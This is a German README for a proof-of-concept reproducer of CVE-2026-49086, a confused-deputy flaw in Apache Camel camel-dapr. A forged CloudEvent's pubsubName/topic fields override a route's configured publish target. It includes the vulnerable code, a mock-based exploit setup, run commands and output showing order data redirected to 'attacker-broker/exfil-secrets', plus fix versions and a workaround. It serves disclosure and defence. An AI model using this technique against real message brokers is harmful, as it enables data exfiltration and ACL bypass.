
PoC-Reproducer für CVE-2026-49086, der eine Confused-Deputy-Überschreibung des Routing-Headers in Apache Camel camel-dapr demonstriert und über nicht vertrauenswürdige CloudEvent-Felder eine Nachrichtenweiterleitung sowie Datenextraktion ermöglicht.
Dieses Projekt demonstriert einen Routing-Header-Override- (Confused-Deputy-)Fehler in der camel-dapr-Komponente von Apache Camel, der als CVE-2026-49086 verfolgt wird.
Der Dapr-Pub/Sub-Consumer (DaprPubSubConsumer) kopiert Felder des eingehenden (nicht vertrauenswürdigen) CloudEvents in die Exchange-Nachrichtenheader. Zwei davon — pubsubName und topic — sind Routing-Header in Producer-Richtung (CamelDaprPubSubName / CamelDaprTopic). Wenn dieselbe Route später mit einem dapr:pubSub-Producer publiziert, bevorzugt DaprConfigurationOptionsProxy einen Header-Wert gegenüber dem konfigurierten Wert des Endpunkts. Die eingehende Envelope, die ein nicht vertrauenswürdiger Absender kontrolliert, überschreibt also stillschweigend das Ziel, an das die Route erneut publiziert:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
In einer Route, die von einem Topic konsumiert und an ein anderes erneut publiziert (ein übliches Audit-/Forward-/Fan-out-Muster), setzt ein Akteur, der auf das abonnierte Topic publizieren kann, das pubsubName/topic des CloudEvents und leitet die erneut publizierte Nachricht an eine beliebige Dapr-Pub/Sub-Komponente + Topic um — er exfiltriert die Nutzlast an einen für Angreifer erreichbaren Broker oder umgeht die vorgesehenen Routen/ACLs. Dies ist ein Confused-Deputy-Problem: Die App publiziert mit ihren eigenen Dapr-Anmeldeinformationen an ein vom Angreifer gewähltes Ziel.
Dieses PoC demonstriert die Auswirkung als Nachrichtenumleitung / Datencxfiltration (CWE-441, aus CWE-20).
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-49086.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-dapr |
| Betroffene Klasse | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (setzt PUBSUB_NAME/TOPIC-Header aus dem eingehenden CloudEvent) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) / CWE-441 (Unbeabsichtigter Proxy / Confused Deputy) |
| Auswirkung | Umleitung der erneut publizierten Nachricht an eine beliebige Dapr-Pub/Sub-Komponente + Topic (Exfiltration / Routing- & ACL-Bypass) |
| Voraussetzungen | Eine Route konsumiert von einem dapr:pubSub-Topic und publiziert über einen dapr:pubSub-Producer erneut; der Angreifer kann auf das abonnierte Topic publizieren |
| Betroffene Versionen | 4.12.0 bis 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Danksagung | Leon Zlobecki |
Der Fix verhindert, dass der Consumer die beiden Routing-Header setzt (
CamelDaprPubSubName/CamelDaprTopic); die anderen CloudEvent-Metadaten-Header bleiben unverändert. Der Producer verwendet dann immer das endpoint-konfigurierte Pub/Sub + Topic. (EineDaprHeaderFilterStrategywurde ebenfalls für die Katalogkonsistenz hinzugefügt, aber die Routing-Header- Änderung ist der eigentliche Fix.)
Die Schwachstelle liegt vollständig in Camel — der Consumer kopiert CloudEvent.pubsubName/topic in Routing-Header, und der Producer bevorzugt diese Header. Der Dapr-Sidecar ist nur Transport. Dieser Reproducer injiziert Mock-Dapr-SDK-Clients (client=#mockClient, previewClient=#mockPreview), sodass der echte DaprPubSubConsumer und DaprPubSubHandler unverändert ohne Sidecar laufen: Der Mock-Preview-Client erfasst den Subscription-Listener, und der Mock-Client zeichnet das Publish-Ziel auf. Der Angreifer-Treiber liefert dann ein gefälschtes CloudEvent an den erfassten Listener — genau das, was ein Absender auslöst, der auf das abonnierte Topic publizieren kann.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
Der Autor beabsichtigt, dass jede Bestellung auf das feste audit-broker/audit-log gespiegelt wird. Aber weil der Consumer das pubsubName/topic der eingehenden Envelope in die Routing-Header kopiert, publiziert der Audit-Producer an das, was die Envelope benennt — nie an den konfigurierten Audit-Stream.
Alles läuft in einem einzigen eigenständigen Container.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Führen Sie ein Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630) durch. Nach dem Fix setzt der Consumer CamelDaprPubSubName / CamelDaprTopic nicht mehr, sodass ein dapr:pubSub-Producer nach einem dapr:pubSub-Consumer seine endpoint-konfigurierte Pub/Sub-Komponente und sein Topic verwendet.
Bis zum Upgrade sollten Sie die Routing-Header zwischen dem Consumer und jedem dapr:pubSub-Producer in der Route entfernen (z. B. removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) und das erneute Pub/Sub + Topic aus einer vertrauenswürdigen Quelle setzen.